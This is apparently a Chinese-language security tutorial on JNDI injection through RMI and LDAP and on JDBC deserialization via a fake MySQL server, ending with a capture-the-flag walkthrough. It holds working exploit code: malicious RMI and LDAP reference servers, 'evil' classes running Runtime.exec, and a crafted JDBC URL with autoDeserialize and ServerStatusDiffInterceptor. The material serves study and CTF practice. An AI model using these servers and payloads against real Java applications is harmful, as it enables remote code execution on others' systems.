前置知识

InitialContext类

构造方法

1
2
3
4
5
6
InitialContext() 
//构建一个初始上下文
InitialContext(boolean lazy)
//构造一个初始上下文,并选择不初始化它
InitialContext(Hashtable<?,?> environment)
//使用提供的环境构建初始上下文

代码

1
InitialContext initialContext = new InitialContext();

构建初始上下文,也就是 获取初始目录环境

常用方法

1
2
3
4
5
6
7
8
9
10
bind(Name name, Object obj) 
//将名称绑定到对象
rebind(String name, Object obj)
//将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
//取消绑定命名对象
list(String name)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
lookup(String name)
//检索命名对象

Reference类

该类也是在 javax.naming 的一个类,该类表示对 在命名/目录系统外部找到的对象 的引用

提供了JNDI中类的引用功能

构造方法:

1
2
3
4
5
6
7
8
Reference(String className) 
//为类名为“className”的对象构造一个新的引用
Reference(String className, RefAddr addr)
//为类名为“className”的对象和地址构造一个新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用
Reference(String className, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用

代码:

1
2
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的 class 中需要实例化类的名称

参数3:classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 协议

常用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void add(int posn, RefAddr addr) //将地址添加到索引posn的地址列表中

void add(RefAddr addr) //将地址添加到地址列表的末尾

void clear() //从此引用中删除所有地址

RefAddr get(int posn) //检索索引posn上的地址

RefAddr get(String addrType) //检索地址类型为“addrType”的第一个地址

Enumeration<RefAddr> getAll() //检索本参考文献中地址的列举

String getClassName() //检索引用引用的对象的类名

String getFactoryClassLocation()//检索此引用引用的对象的工厂位置

String getFactoryClassName() //检索此引用引用对象的工厂的类名

Object remove(int posn) //从地址列表中删除索引posn上的地址

int size() //检索此引用中的地址数

String toString() //生成此引用的字符串表示形式

JNDI注入

概念

JNDI(Java Naming and Directory Interface) 是一种标准的Java命名系统接口

JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互

若是一个程序定义了 JNDI 中的接口,就可以利用该API接口访问系统的命令服务和目录服务

(来源:https://xz.aliyun.com/news/11723)

JNDI可访问的现有的目录及服务有:

DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了 Context 接口和 InitialContext
  • javax.naming.directory:主要用于目录操作,它定义了 DirContext 接口和 InitialDir-Context
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击

示例

下面来看一个示例:

1
2
3
4
5
6
7
8
9
10
11
12
package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}

从前置部分就可以知道,lookup()就是检索一个命名对象,如果URI可控,那就可以载入恶意的URI,实现JNDI注入

具体攻击流程就是:

(来源:https://xz.aliyun.com/news/11723)

所以我们下面就以LDAP和RMI来做一个攻击示例

RMI

(本地端)

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class JNDItest {
public static void main(String[] args) throws NamingException{
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/evil")
}
}

(服务端)

RMIserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import java.rmi.registry.LocateRegistry;
import java.lang.ref.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;

public class RMIserver{
public static void main(String[] args){
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("evil","evil","http://127.0.0.1/");
registry.bind("evil", new ReferenceWrapper(reference));
}
}

(攻击端)

evil.java

1
2
3
4
5
public class evil{
public evil(){
Runtime.getRuntime().exec("calc");
}
}

PS: 从JDK8U121开始RMI远程对象的Reference代码默认不信任

LDAP

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

(本地端)

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class JNDItest {
public static void main(String[] args) throws NamingException{
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evil")
}
}

(服务端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.rmi.rmiclient;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}


(攻击端)

1
2
3
4
5
6
7
import java.io.IOException;

public class evil {
public evil() throws IOException{
Runtime.getRuntime().exec("calc");
}
}

PS: 从JDK8U191开始LDAP远程引用代码默认不信任

总结

经过上面的分析,归纳总结为由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击

JDBC反序列化

概念

JDBC简介

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作

JDBC Connection

JDBC定义了一个叫 java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了 java.sql.Driver 类的 connect 方法实现数据库连接的。数据库连接成功后会返回一个叫做 java.sql.Connection 的数据库连接对象,一切对数据库的查询操作都将依赖于这个 Connection 对象

JDBC Unserialize

假设攻击者能够控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject()达到反序列化的目的从而RCE。

具体来说,通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被 ObjectInputStream.readObject() 进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

例题

GeekChallengeezjdbc | CTF+

其实并非需要反射,只需要看得懂英文就可以了,这道题目只需要看一个.class文件就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@RestController
public class jdbcController {
static String CLASS_NAME = "com.mysql.cj.jdbc.Driver";

public jdbcController() {
}

@GetMapping({"/"})
public String index() {
return "Hello Jdbc";
}

@GetMapping({"/connect"})
public String connect(@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException {
DriverManager.getConnection(url, name, pass);
return url;
}
}

这里可以知道用了MySQL,再结合题目,很容易就想到是JDBC反序列化+FakeMySQL:

https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html

vulhub/java-chains: Java Vulnerability Exploitation Platform

快速上手 | Java Chains

1
http://url/connect?url=jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=admin&pass=1111

结尾

参考:

【WEB】Java JDBC反序列化 | 狼组安全团队公开知识库

JNDI注入原理及利用考究-先知社区

Java安全之JNDI注入 - nice_0e3 - 博客园

Java漏洞在黑盒实战中的技巧——JNDI注入篇 - FreeBuf网络安全行业门户

X1r0z/JNDIMap: A powerful JNDI injection exploitation framework that supports RMI, LDAP and LDAPS protocols, including various bypass methods for high-version JDK restrictions